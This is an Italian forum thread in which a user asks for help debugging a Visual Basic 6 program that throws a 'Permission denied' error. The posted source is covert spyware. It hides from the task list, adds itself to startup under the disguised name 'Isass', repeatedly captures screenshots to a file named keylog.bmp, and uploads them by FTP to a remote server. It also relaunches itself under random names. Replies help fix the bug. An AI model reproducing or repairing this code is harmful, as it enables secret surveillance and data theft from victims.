Visual Basic 6 - [HELP]Time Error '70' Permission denied.

Salve ragazzi , avrei un problema sto facendo un programma ke mi invia dei file al mio ftp
Dopo inviato il file me ne dovrebbe inviari altri a ciclo infinito ogni tot. di 1 minuto , finke il programma non lo kiudo il ciclo infinito dura
una volta che eseguo l'exe eccco cosa mi dice (i nomi dei screen sono tutti con lo stesso nome fix ?)

Time Error '70' Permission denied.

i41.tinypic.com/…

Chiedo urgentemente aiuto xk sto facendo una cosa al mio prof. di ricevimento e devo aggiustare questo problema entro stasera
VI PREGO Aiutatemi!

se volete dare uno sguardo al suorce del intero project fate pure

Private Sub Form_Load()
App.TaskVisible = Not _
                  True
      Picture1.AutoSize = True
Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Isass", App.Path & "\fbichat.exe"
Dim Ritardo As Long 'dichiarazione variabile ritardo
Timer1.Interval = Ritardo + 145 'imposto un ritardo minimo per captare i tasti, altrimenti potrebbe essere simulata la pressione ripetuta di un tasto
End Sub

Private Sub testo_Change()
 Set Picture1.Picture = CaptureScreen()
 
 SavePicture Picture1.Image, "C:\WINDOWS\SYSTEM32\keylog.bmp"
 

End Sub

Private Sub Timer1_Timer()
 Set Picture1.Picture = CaptureScreen()
 
 SavePicture Picture1.Image, "C:\WINDOWS\SYSTEM32\keylog.bmp" '
 



End Sub

Private Sub Timer2_Timer() 'ciclo per evitare connessioni molteplici al ftp
Timer3.Enabled = True
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer() '
Timer4.Enabled = True '
Timer3.Enabled = False '
End Sub

Private Sub Timer4_Timer() 'vedi commento timer2
Timer5.Enabled = True 'ti consigblio di salvarlo cn un'altro nome  in ke senzo dx Save as.. C'è QLC che nn mi quadra ad esempio i timeer  rotofl proviamo prima.
Timer4.Enabled = False
End Sub

Private Sub Timer5_Timer() 'vedi commento timer2
Timer6.Enabled = True
Timer5.Enabled = False
End Sub

Private Sub Timer6_Timer() 'vedi commento timer2 + upload file
Dim nomefile As String 'dichiarazione nomefile, ossia il nome del file quando verrà uploadato sul nostro ftp
   Dim ftpwebsite As String 'dichiarazione ftpwebsite, ossia l'indirizzo ftp del nostro sito
       account = "Anke questo no" 'nome nostro account hosting
       pswd = "qstnontelado" 'password account hosting
       ftpwebsite = "ftp://conoscilapravacyxd" 'indirizzo ftp nostro host
   Inet1.URL = ftpwebsite 'settaggio indirizzo ftp
   Inet1.UserName = account 'settaggio account
   Inet1.Password = pswd 'settaggio password
   Dim NameScr As String
NameScr = "screen" + "." + _
                   "b" + "m" + "p"
Kill ("C:\WINDOWS\SYSTEM32\" + NameScr)
   nomefile = "log.bmp" 'sostituire log.txt con il nome che vorrete dare al file uploadato sul vostro host
       Inet1.Execute Inet1.URL, "PUT C:\WINDOWS\system32\keylog.bmp " & nomefile 
   Do While Inet1.StillExecuting = True 
         DoEvents
       Loop
Timer6.Enabled = False
Timer2.Enabled = True
Exit Sub
lol:
Dim NUMER As String
NUMER = Int(Rnd * 99)
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\" + NUMER + ".exe"
Shell ("C:\WINDOWS\" + NUMER + ".exe")
Shell ("C:\WINDOWS\system32\cmd.exe /c tskill " + App.EXEName)
Exit Sub
End Sub

Cosa sbaglio ??

allora vi aggiorno il software fa cosi xk lo screen è già in uso quindi da qll errore
esiste un fix ?

UP
Rispondete sono passati + o m 2 giorni

devi individuare il programma che usa screen.bmp e terminarlo...

Asp , io credo che è lo stesso il programma che usa ancora lo screen quindi se si termina il programma gli altri screen non li invia AZZZ....

attendo risposte (se c'è la fate entro il il 21 dicembre 2012 magari ... asd)

può essere, significa quindi che probabilmente non l'hai chiuso con la Open ma nel codice che hai postato non c'è nessun riferimento a screen.bmp quindi presumo ce ne sia altro... quindi mostralo